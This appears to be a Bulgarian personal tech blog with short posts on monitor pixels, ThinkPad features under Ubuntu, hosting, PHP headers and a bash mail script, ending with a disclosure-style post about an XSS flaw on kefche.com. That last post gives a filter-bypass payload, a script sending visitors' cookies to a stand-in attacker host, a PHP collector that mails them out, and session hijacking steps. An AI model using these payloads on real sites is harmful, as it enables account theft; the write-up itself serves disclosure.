Как да открием изгорели пиксели на монитора си?

Първо ще поясня, че има 3 вида пиксели:
1. Работещи
2. Изгорели
3. Блокирали или така наречените Stuck pixel-и

Практически няма софтуер, който да инсталирате и да Ви каже дали имате изгорели пиксели по монитора. Най-добрият вариант е сами да разгледате монитора си обстойно, като в помощ идва този сайт. Технически сайта не прави нищо друго, освен да ви показва подходящи едноцветни фонове, на които изгорелите и блокирали пиксели да се отличат по-лесно.

За изгорелите пиксели спасение няма. Намирате ги, грабвате гаранционната карта на монитора/лаптопа и се връщате в магазина за да Ви го сменят.

Теоретично, заспалите пиксели (stuck pixel) могат да се “събудят” като се “бомбандират” с различни цветове за кратък интервал от време. Аз лично не препоръчвам да се опитвате, защото ми се струва загуба на време, но все пак ако решите, ТУК може да намерите софтуер, който прави точно това “бомбандиране”.

Categories: Hardware, Всичко друго Tags:

Lenovo Thinkpad Edge – Active Protection System

Lenovo Active Protection System (APS) е онова нещо, на което ще сте благодарни когато изпуснете лаптопа си от високо… не много високо :-)

При местене и съответно изпускане на лаптопа, APS изключва хард диска, като това увеличава шансовете Ви да извадите от него непокътнатата си информация след тежко падане.

Как се инсталира под Ubuntu 11.10:

sudo apt-get install hdapsd tp-smapi-dkms

Надявам се никога да не Ви се налага да използвате възможностите на Lenovo Active Protection System.

Categories: Hardware, Linux, Защита Tags:

Lenovo Thinkpad Edge – fingerprint reader

… или как да пуснем четеца на пръстови отпечатъци на Lenovo Thinkpad Edge под Ubuntu 11.10

След картко търсене в Google, най-добрият вариант се оказа инсталацията на Fingerprint GUI, който автоматично разпозна четеца.

След пускането му можете да сканирате до 10 пръста, с които да се логвате в системата си без парола.
Уловката е, че ако вашият home folder е криптиран, няма да можете да се логнете само с пръстов отпечатък. Софтуера предлага възможност да запишете паролата на акаунта си на USB флашка /USB Stick/ и ако въпросната флашка е включена в компютъра докато се логвате с пръстов отпечатък – воала! и вече сте логнат.

При използването на командата “sudo” в terminal-a, също имате възможност да използвате пръстовия си отпечатък вместо парола.

Как се инсталира:
Първо добавяме repository-то за Fingerpring GUI:

sudo add-apt-repository ppa:fingerprint/fingerprint-gui
sudo apt-get update

Инсталираме със следната команда:

sudo apt-get install libbsapi policykit-1-fingerprint-gui fingerprint-gui

След това излизаме от Logout и се логваме наново. Стартираме програмата Fingerprint GUI, сканираме отпечатъците си и сме готови.

В линка посочен по-горе има подробно описание на процедурата, но се надявам да съм обяснил всичко максимално елементарно.

Categories: Ubuntu, Защита Tags:

Съвет: shared hosting – проблем с потребители и достъп до директории

Това е първият ми пост, който е по-скоро въпрос, отколкото решение на даден проблем.

Проблем:
Как да направим shared hosting с Nginx + PHP-FastCGI?

Условия:
1. Всеки потребител да има собствена директория и да не може да излиза от нея когато е логнат през SSH.
2. Да няма стартиран FastCGI процес за всеки различен потребител. Тоест, всички потребители да споделят един и същ FastCGI процес.
3. Не трябва при разглеждане на директориите с PHP скрипт, потребителя, който е пуснал скрипта да има достъп до останалите хостинг акаунти на машината.

Това, което мисля е, че точки 2 и 3 са взаимно изключващи се, но тъй като нямам цялостно решение на проблема си, приемам всякакви съвети.

Categories: Linux, Защита, Хостинг Tags:

Quick Tip: formatting hard drive partition with ext3

mke2fs -j /dev/hdc1

или

mkfs -t ext3 /dev/hdc1

Където /dev/hdc1 е partition-a, който искаме да форматираме

Categories: Cent OS, Debian, Filesystems, Linux, Quick Tips Tags:

Модифициране на HTTP Headers с PHP

// See related links for more status codes
 
// Use this header instruction to fix 404 headers
// produced by url rewriting...
header('HTTP/1.1 200 OK');
 
// Page was not found:
header('HTTP/1.1 404 Not Found');
 
// Access forbidden:
header('HTTP/1.1 403 Forbidden');
 
// The page moved permanently should be used for
// all redrictions, because search engines know
// what's going on and can easily update their urls.
header('HTTP/1.1 301 Moved Permanently');
 
// Server error
header('HTTP/1.1 500 Internal Server Error');
 
// Redirect to a new location:
header('Location: http://www.example.org/');
 
// Redriect with a delay:
header('Refresh: 10; url=http://www.example.org/');
print 'You will be redirected in 10 seconds';
 
// you can also use the HTML syntax:
// <meta http-equiv="refresh" content="10;http://www.example.org/ />
 
// override X-Powered-By value
header('X-Powered-By: PHP/4.4.0');
header('X-Powered-By: Brain/0.6b');
 
// content language (en = English)
header('Content-language: en');
 
// last modified (good for caching)
$time = time() - 60; // or filemtime($fn), etc
header('Last-Modified: '.gmdate('D, d M Y H:i:s', $time).' GMT');
 
// header for telling the browser that the content
// did not get changed
header('HTTP/1.1 304 Not Modified');
 
// set content length (good for caching):
header('Content-Length: 1234');
 
// Headers for an download:
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="example.zip"'); 
header('Content-Transfer-Encoding: binary');
// load the file to send:
readfile('example.zip');
 
// Disable caching of the current document:
header('Cache-Control: no-cache, no-store, max-age=0, must-revalidate');
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past
header('Pragma: no-cache');
 
// set content type:
header('Content-Type: text/html; charset=iso-8859-1');
header('Content-Type: text/html; charset=utf-8');
header('Content-Type: text/plain'); // plain text file
header('Content-Type: image/jpeg'); // JPG picture
header('Content-Type: application/zip'); // ZIP file
header('Content-Type: application/pdf'); // PDF file
header('Content-Type: audio/mpeg'); // Audio MPEG (MP3,...) file
header('Content-Type: application/x-shockwave-flash'); // Flash animation
 
// show sign in box
header('HTTP/1.1 401 Unauthorized');
header('WWW-Authenticate: Basic realm="Top Secret"');
print 'Text that will be displayed if the user hits cancel or ';
print 'enters wrong login data';

Не мога да си припиша заслугите, но понеже ми хареса, статията е copy/paste @ jonasjohn

Categories: PHP Tags:

Елементарен скрипт за изпращане на mail през bash

#!/bin/bash
SUBJECT="I am subject"
EMAIL="user@domain.com"
 
EMAILMESSAGE=""
echo "Hello World" > $EMAILMESSAGE
echo "I am test text" >> $EMAILMESSAGE
 
/bin/mail -s "$SUBJECT" "$EMAIL" < $EMAILMESSAGE
Categories: bash Tags:

“Bad file descriptor” грешка при компилиране на РНР

Днес инсталирам нова машина и се натъкнах на един странен проблем:
(тук спестявам доста редове грешки при конфигурирането)

./configure: 608: 6: Bad file descriptor

Решението на проблема е, да си инсталирам autoconf2.13 (на къде без него :) )

apt-get install autoconf2.13
Categories: Debian, PHP Tags:

MySQL query status “Repair by sorting”

“Repair by sorting” is MyISAM’s way of updating the indexes after a bulk insert. When inserting Millions of rows of data into a MyISAM table, it is normal for the index updates to take longer than the actual inserts.

copy/paste @ mysql

Categories: MySQL Tags:

Как хакнах kefche.com? :)

Като начало ще кажа, че предварително съм уведомил най-главния администратор, (или поне така пишеше в екипа на сайта) mesmeric, за проблема.

И сега, за да не се опитвате да го правите отново и отново, трябва да знаете, че проблема вече е разрешен от програмистите на сайта и дупката е затворена.

Какво се случи всъщност…

Както се “разхождах” насам-натам из сайта, реших да проверя какво може самият сайт (това ми е професионално изкривяване). Без да искам се натъкнах на съвсем елементарен начин да инжеркирам JavaScript в описанието на профила си.
Профил -> Настройки -> Описание и там написах следното:

<body onload="alert('hello world');">

Тъй като не се получи, опитах нещо друго, а именно:

<body oNload="alert('hello world');">

Забележете, че тук имам главно N. Това се прие от системата и всеки, който отвореше профила ми виждаше това, което съм написал в oNload таг-а.

Реших да си поиграя още малко (межувременно чаках отговор от администраторите на kefche).
Използвах следният скрипт:

<body onLoad="new Image().src='http://XSSATTACKDOMAIN.com/kefche.php?c='+encodeURI(document.cookie)+'USERNAME__'+document.getElementsByClassName('wlink')[0];">

Тоест, взимам всички cookies на потребителя, който разглежда моят профил заедно с линк до неговият потребителски профил и ги изпращам на мейла си:

kefche.php

mail('mail@domain.com', 'kefche sess', $_GET['c']);

После сменям моето PHPSESSID със стойността на нечие друго потребителско cookie и на следващият клик се озовавам с неговият акаунт :)

Инфо: след като оправиха проблема изрично съм поискал разрешение от въпросната администраторка за да публикувам тази статия.